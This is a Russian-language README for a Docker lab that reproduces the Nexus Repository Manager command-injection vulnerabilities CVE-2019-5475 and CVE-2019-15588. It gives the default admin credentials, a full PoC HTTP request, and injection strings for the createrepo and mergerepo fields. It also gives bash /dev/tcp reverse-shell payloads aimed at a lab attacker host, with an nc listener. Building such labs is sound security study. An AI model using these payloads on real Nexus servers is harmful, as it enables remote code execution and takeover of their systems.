
CVE-2019-5475 靶场: RCE 命令注入漏洞
CVE-2019-5475 и CVE-2019-15588: RCE-уязвимость внедрения команд
CVE-2019-5475 — это уязвимость RCE-внедрения команд в Nexus, связанная со встроенным плагином Yum Repository. Впервые она была раскрыта на hackerone, но из-за неполного исправления первой версии возникла дополнительная уязвимость CVE-2019-15588.
Обе уязвимости требуют авторизации под администратором для эксплуатации, однако стандартный пароль администратора Nexus admin123 часто остаётся без изменения, что делает их легко используемыми.
CVE-2019-5475
├── nexus-yum-core .......... [Maven-проект для отладки: моделирует ввод createrepo или mergerepo в GUI Nexus]
├── nexus ................... [Директория монтирования данных контейнера Nexus]
├── attacker ................ [Директория сборки для машины атакующего]
│ └── Dockerfile .......... [Файл Docker для сборки машины атакующего]
├── docker-compose.yml ...... [Конфигурация сборки Docker]
├── imgs .................... [Изображения для пояснения в README]
└── README.md ............... [Данный файл README]
cd CVE-2019-5475docker-compose up -dadmin/admin123), где:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
В этом полигоне также развёрнута машина атакующего 172.168.50.2, которая находится в одной сети с обеими целевыми машинами и используется для проверки реверс-шела.
Войдите под администратором на http://127.0.0.1:8009/nexus/#capabilities, перейдите в Administration -> Capabilities -> Yum: Configuration -> Settings. Там можно найти точку внедрения RCE.
Поля ввода Path of "createrepo" и Path of "mergerepo" подвержены инъекции, результат выполнения можно увидеть в Status.
Например, в поле createrepo введите PoC bash -c id || python, и в Status отобразится результат выполнения команды bash -c id: uid=200(nexus) gid=200(nexus) groups=200(nexus).
Через BurpSuite можно перехватить соответствующий PoC-запрос:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Эту точку внедрения легко использовать для создания реверс-шела:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo полезную нагрузку: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
Место внедрения то же, что и для CVE-2019-5475. Измените PoC на: /bin/bash -c id || /createrepo


Для этой уязвимости можно использовать тот же метод для получения реверс-шела:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo полезную нагрузку: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core — это фрагмент основного кода Nexus, связанный с эксплуатацией данной уязвимости. Он предназначен в основном для отладки и анализа payload с бэкенда, без необходимости собирать полный сервис Nexus из исходников.
